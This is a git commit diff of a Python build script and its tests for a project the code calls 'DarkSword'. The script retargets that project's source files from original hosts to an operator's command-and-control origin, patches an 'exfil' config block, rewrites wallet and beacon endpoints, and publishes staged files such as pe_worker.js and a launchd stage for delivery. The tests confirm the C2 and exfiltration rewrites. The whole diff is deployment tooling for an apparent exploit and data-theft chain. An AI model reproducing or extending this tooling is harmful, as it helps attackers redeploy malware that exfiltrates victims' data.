feat: ds
This commit is contained in:
+171
-132
@@ -1,119 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain.
|
||||
"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.
|
||||
|
||||
Usage:
|
||||
python3 tools/build.py
|
||||
python3 tools/build.py --host 192.168.31.130 --port 8000
|
||||
python3 tools/build.py --origin http://192.168.31.130:8000
|
||||
Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
|
||||
unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.
|
||||
|
||||
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||
php artisan ds:build --c2 https://c2.example.com
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||||
|
||||
DEFAULT_SOURCE = BUILDER_ROOT / "source"
|
||||
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
|
||||
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
|
||||
# Checked into source/config.js; must be rewritten when --origin is not the lab box.
|
||||
TEMPLATE_HOST = "192.168.31.130"
|
||||
TEMPLATE_PORT = 8000
|
||||
|
||||
EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
|
||||
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
|
||||
SKIP_PUBLISH = {"log.html"}
|
||||
|
||||
|
||||
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
use_tls = origin.startswith("https://")
|
||||
tls_js = "true" if use_tls else "false"
|
||||
pairs = [
|
||||
("https://mh0usocqzi6f46i.com:443", origin),
|
||||
("http://mh0usocqzi6f46i.com:443", origin),
|
||||
("https://mh0usocqzi6f46i.com", origin),
|
||||
("http://one99.vip:80", origin),
|
||||
("https://one99.vip:80", origin),
|
||||
("http://one99.vip", origin),
|
||||
("https://one99.vip", origin),
|
||||
(f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
|
||||
(f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
|
||||
(f'https://{TEMPLATE_HOST}"', origin + '"'),
|
||||
(f'http://{TEMPLATE_HOST}"', origin + '"'),
|
||||
(f"https://{TEMPLATE_HOST}/", origin + "/"),
|
||||
(f"http://{TEMPLATE_HOST}/", origin + "/"),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
@dataclass(frozen=True)
|
||||
class Endpoint:
|
||||
host: str
|
||||
port: int
|
||||
origin: str
|
||||
tls: bool
|
||||
path: str
|
||||
|
||||
@property
|
||||
def url(self) -> str:
|
||||
return self.origin + self.path
|
||||
|
||||
|
||||
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
|
||||
parsed = urlparse((raw or "").strip())
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
|
||||
host = parsed.hostname
|
||||
tls = parsed.scheme == "https"
|
||||
port = parsed.port or (443 if tls else 80)
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((tls and port == 443) or (not tls and port == 80)):
|
||||
origin += f":{port}"
|
||||
path = (parsed.path or "").rstrip("/")
|
||||
if path and not path.startswith("/"):
|
||||
path = "/" + path
|
||||
return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)
|
||||
|
||||
|
||||
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
|
||||
hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
|
||||
ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
|
||||
return [
|
||||
("https://mh0usocqzi6f46i.com:443", c2.origin),
|
||||
("http://mh0usocqzi6f46i.com:443", c2.origin),
|
||||
("https://mh0usocqzi6f46i.com", c2.origin),
|
||||
("http://mh0usocqzi6f46i.com", c2.origin),
|
||||
("http://one99.vip:80", c2.origin),
|
||||
("https://one99.vip:80", c2.origin),
|
||||
("http://one99.vip", c2.origin),
|
||||
("https://one99.vip", c2.origin),
|
||||
("http://192.168.31.130:8080", c2.origin),
|
||||
("https://192.168.31.130:8080", c2.origin),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
|
||||
('{ host: "one99.vip", port: 80 }', hp),
|
||||
('{ host: "192.168.31.130", port: 8080 }', hp),
|
||||
(
|
||||
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
|
||||
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}',
|
||||
ports,
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
|
||||
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"),
|
||||
(f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"),
|
||||
(f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"),
|
||||
(f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'),
|
||||
(f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'),
|
||||
("mh0usocqzi6f46i.com", ip),
|
||||
("one99.vip", ip),
|
||||
(TEMPLATE_HOST, ip),
|
||||
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"),
|
||||
("_h === '192.168.4.10'", f"_h === '{ip}'"),
|
||||
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
|
||||
('_h === "192.168.4.10"', f'_h === "{ip}"'),
|
||||
('"192.168.1.29"', f'"{ip}"'),
|
||||
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
|
||||
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
|
||||
# public/log/ is a directory on lab; phone POST /log must hit the API.
|
||||
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
|
||||
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
|
||||
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
|
||||
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
|
||||
("/log.html", "/api/ds/log"),
|
||||
(origin + '/log"', origin + '/api/ds/log"'),
|
||||
(origin + '/log\\"', origin + '/api/ds/log\\"'),
|
||||
(':80/log"', ':80/api/ds/log"'),
|
||||
(':80/log\\"', ':80/api/ds/log\\"'),
|
||||
(
|
||||
'{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
|
||||
ports,
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
||||
('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
("mh0usocqzi6f46i.com", c2.host),
|
||||
("one99.vip", c2.host),
|
||||
("192.168.31.130", c2.host),
|
||||
]
|
||||
if use_tls:
|
||||
pairs.extend(
|
||||
[
|
||||
("tls: false", "tls: true"),
|
||||
("prefer_https: false", "prefer_https: true"),
|
||||
]
|
||||
|
||||
|
||||
def rewrite_text(text: str, c2: Endpoint) -> str:
|
||||
for old, new in rewrite_pairs(c2):
|
||||
if old != new:
|
||||
text = text.replace(old, new)
|
||||
return text
|
||||
|
||||
|
||||
def patch_config(text: str, c2: Endpoint) -> str:
|
||||
flag = "true" if c2.tls else "false"
|
||||
|
||||
def exfil(_match: re.Match[str]) -> str:
|
||||
return (
|
||||
"exfil: {\n"
|
||||
f' host: "{c2.host}",\n'
|
||||
f' domain: "{c2.host}",\n'
|
||||
f" http_port: {c2.port},\n"
|
||||
f" https_port: {c2.port},\n"
|
||||
f" tls: {flag},\n"
|
||||
f" prefer_https: {flag},\n"
|
||||
" }"
|
||||
)
|
||||
return pairs
|
||||
|
||||
patched, n = EXFIL_RE.subn(exfil, text, count=1)
|
||||
if n != 1:
|
||||
raise SystemExit("source/config.js: missing exfil { ... } block")
|
||||
return patched
|
||||
|
||||
|
||||
def iter_files(root: Path) -> list[Path]:
|
||||
out: list[Path] = []
|
||||
for p in root.rglob("*"):
|
||||
if not p.is_file():
|
||||
def rewrite_tree(root: Path, c2: Endpoint) -> int:
|
||||
hits = 0
|
||||
for path in root.rglob("*"):
|
||||
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
|
||||
continue
|
||||
if p.suffix.lower() in SKIP_SUFFIX:
|
||||
continue
|
||||
out.append(p)
|
||||
return sorted(out)
|
||||
|
||||
|
||||
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]:
|
||||
pairs = replacements(ip, port, origin)
|
||||
hits: list[dict] = []
|
||||
for src in iter_files(root):
|
||||
text = src.read_text("utf-8", errors="surrogateescape")
|
||||
new = text
|
||||
counts: dict[str, int] = {}
|
||||
for old, repl in pairs:
|
||||
n = new.count(old)
|
||||
if n:
|
||||
counts[old] = n
|
||||
new = new.replace(old, repl)
|
||||
if new != text:
|
||||
src.write_text(new, encoding="utf-8", errors="surrogateescape")
|
||||
hits.append({"file": str(src.relative_to(root)), "counts": counts})
|
||||
raw = path.read_text(encoding="utf-8")
|
||||
if path.name == "config.js":
|
||||
new = patch_config(raw, c2)
|
||||
else:
|
||||
new = rewrite_text(raw, c2)
|
||||
if new != raw:
|
||||
path.write_text(new, encoding="utf-8")
|
||||
hits += 1
|
||||
return hits
|
||||
|
||||
|
||||
@@ -124,7 +144,12 @@ def publish(staging: Path, dest: Path) -> None:
|
||||
old = dest.with_name(dest.name + ".old")
|
||||
if tmp.exists():
|
||||
shutil.rmtree(tmp)
|
||||
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
|
||||
def ignore(directory: str, names: list[str]) -> set[str]:
|
||||
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
|
||||
return skip
|
||||
|
||||
shutil.copytree(staging, tmp, ignore=ignore)
|
||||
if dest.exists():
|
||||
if old.exists():
|
||||
shutil.rmtree(old)
|
||||
@@ -139,64 +164,78 @@ def publish(staging: Path, dest: Path) -> None:
|
||||
tmp.rename(dest)
|
||||
|
||||
|
||||
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]:
|
||||
if args.origin:
|
||||
parsed = urlparse(args.origin)
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid --origin: {args.origin}")
|
||||
host = parsed.hostname
|
||||
if parsed.port:
|
||||
port = parsed.port
|
||||
else:
|
||||
port = 443 if parsed.scheme == "https" else 80
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
host = args.host
|
||||
port = args.port
|
||||
origin = f"{args.scheme}://{host}"
|
||||
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
|
||||
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
|
||||
def build(
|
||||
source: Path,
|
||||
dest: Path,
|
||||
c2: str,
|
||||
delivery: str | None = None,
|
||||
dry_run: bool = False,
|
||||
) -> dict:
|
||||
if not source.is_dir():
|
||||
raise SystemExit(f"source not found: {source}")
|
||||
config = source / "config.js"
|
||||
if not config.is_file():
|
||||
raise SystemExit(f"missing {config}")
|
||||
|
||||
c2_ep = parse_endpoint(c2, label="--c2")
|
||||
delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None
|
||||
|
||||
if dry_run:
|
||||
preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
|
||||
if delivery_ep is not None:
|
||||
preview = re.sub(
|
||||
r'deliveryPath:\s*"[^"]*"',
|
||||
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
||||
preview,
|
||||
count=1,
|
||||
)
|
||||
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}
|
||||
|
||||
staging = BUILDER_ROOT / "out" / "staging"
|
||||
if staging.exists():
|
||||
shutil.rmtree(staging)
|
||||
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
hits = rewrite_tree(staging, host, port, origin)
|
||||
if dry_run:
|
||||
shutil.rmtree(staging)
|
||||
return hits
|
||||
rewrite_tree(staging, c2_ep)
|
||||
if delivery_ep is not None:
|
||||
cfg = (staging / "config.js").read_text(encoding="utf-8")
|
||||
cfg = re.sub(
|
||||
r'deliveryPath:\s*"[^"]*"',
|
||||
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
||||
cfg,
|
||||
count=1,
|
||||
)
|
||||
(staging / "config.js").write_text(cfg, encoding="utf-8")
|
||||
publish(staging, dest)
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
return hits
|
||||
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain")
|
||||
ap.add_argument("--host", default="192.168.31.130")
|
||||
ap.add_argument("--port", type=int, default=8000)
|
||||
ap.add_argument("--scheme", default="http", choices=("http", "https"))
|
||||
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
|
||||
ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
|
||||
ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
|
||||
ap.add_argument("--origin", default="", help="alias of --c2")
|
||||
ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
|
||||
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
|
||||
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
|
||||
ap.add_argument("--dry-run", action="store_true")
|
||||
args = ap.parse_args(argv)
|
||||
|
||||
host, port, origin = resolve_origin(args)
|
||||
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run)
|
||||
action = "would rewrite" if args.dry_run else "published"
|
||||
print(f"{action} {len(hits)} files -> {origin}")
|
||||
if not args.dry_run:
|
||||
print(f"dest {args.dest.resolve()}")
|
||||
for h in hits:
|
||||
print(f" {h['file']} ({sum(h['counts'].values())})")
|
||||
c2 = (args.c2 or args.origin or "").strip()
|
||||
if not c2:
|
||||
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
|
||||
|
||||
result = build(
|
||||
args.source,
|
||||
args.dest,
|
||||
c2,
|
||||
delivery=(args.delivery or "").strip() or None,
|
||||
dry_run=args.dry_run,
|
||||
)
|
||||
print("dry-run" if args.dry_run else "published")
|
||||
print(f" c2 {result['c2']}")
|
||||
print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
|
||||
if result.get("dest"):
|
||||
print(f" dest {result['dest']}")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
@@ -14,88 +14,72 @@ if str(TOOLS) not in sys.path:
|
||||
import build # noqa: E402
|
||||
|
||||
|
||||
CONFIG = (
|
||||
"window.NEWS2_CONFIG = {\n"
|
||||
' deliveryPath: "/next-chain",\n'
|
||||
" exfil: {\n"
|
||||
' host: "192.168.31.130",\n'
|
||||
' domain: "192.168.31.130",\n'
|
||||
" http_port: 8080,\n"
|
||||
" https_port: 8080,\n"
|
||||
" tls: false,\n"
|
||||
" prefer_https: false,\n"
|
||||
" },\n"
|
||||
"};\n"
|
||||
)
|
||||
|
||||
|
||||
class BuildTest(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
|
||||
self.source = self.tmp / "source"
|
||||
self.dest = self.tmp / "next-chain"
|
||||
self.source.mkdir(parents=True)
|
||||
(self.source / "config.js").write_text(
|
||||
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "config.js").write_text(CONFIG, encoding="utf-8")
|
||||
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
|
||||
(self.source / "pe_worker.js").write_text(
|
||||
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
|
||||
'__labCfHttp("POST", "/log", body, false);\n'
|
||||
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
|
||||
'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n'
|
||||
'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
|
||||
(self.source / "pe_stage").mkdir()
|
||||
(self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8")
|
||||
|
||||
def tearDown(self) -> None:
|
||||
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||
|
||||
def test_rewrites_and_publishes_without_touching_source(self) -> None:
|
||||
def test_rewrites_c2_and_publishes_pe_stage(self) -> None:
|
||||
before = (self.source / "config.js").read_text(encoding="utf-8")
|
||||
hits = build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"192.168.31.130",
|
||||
8080,
|
||||
"http://192.168.31.130:8080",
|
||||
)
|
||||
self.assertTrue(hits)
|
||||
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
|
||||
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
|
||||
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
|
||||
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertIn('host: "192.168.31.130"', published)
|
||||
self.assertIn("http_port: 8000", published)
|
||||
self.assertIn("tls: false", published)
|
||||
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
|
||||
self.assertFalse((self.dest / "api").exists())
|
||||
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
|
||||
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
|
||||
self.assertNotIn("/log.html", worker)
|
||||
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
|
||||
self.assertIn("http://192.168.31.130:8000/beacon", worker)
|
||||
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
|
||||
self.assertFalse((self.dest / "log.html").exists())
|
||||
self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file())
|
||||
self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n")
|
||||
|
||||
def test_origin_override(self) -> None:
|
||||
host, port, origin = build.resolve_origin(
|
||||
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
|
||||
)
|
||||
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
|
||||
|
||||
def test_origin_rewrites_lab_template_config(self) -> None:
|
||||
(self.source / "config.js").write_text(
|
||||
'window.NEWS2_CONFIG = {\n'
|
||||
' exfil: {\n'
|
||||
' host: "192.168.31.130",\n'
|
||||
' domain: "192.168.31.130",\n'
|
||||
' http_port: 8000,\n'
|
||||
' https_port: 8000,\n'
|
||||
' tls: false,\n'
|
||||
' prefer_https: false,\n'
|
||||
' },\n'
|
||||
' redirectUrl: "https://ab.ux600.com",\n'
|
||||
'};\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"c2.example.com",
|
||||
443,
|
||||
"https://c2.example.com",
|
||||
)
|
||||
def test_https_c2(self) -> None:
|
||||
build.build(self.source, self.dest, "https://c2.example.com")
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn('host: "c2.example.com"', published)
|
||||
self.assertIn('domain: "c2.example.com"', published)
|
||||
self.assertIn("http_port: 443", published)
|
||||
self.assertIn("https_port: 443", published)
|
||||
self.assertIn("tls: true", published)
|
||||
self.assertIn("https://c2.example.com/?landed=1", published)
|
||||
self.assertNotIn("192.168.31.130", published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8"))
|
||||
|
||||
def test_parse_endpoint(self) -> None:
|
||||
ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery")
|
||||
self.assertEqual(ep.host, "lab.example")
|
||||
self.assertEqual(ep.port, 8443)
|
||||
self.assertEqual(ep.origin, "https://lab.example:8443")
|
||||
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in New Issue
Block a user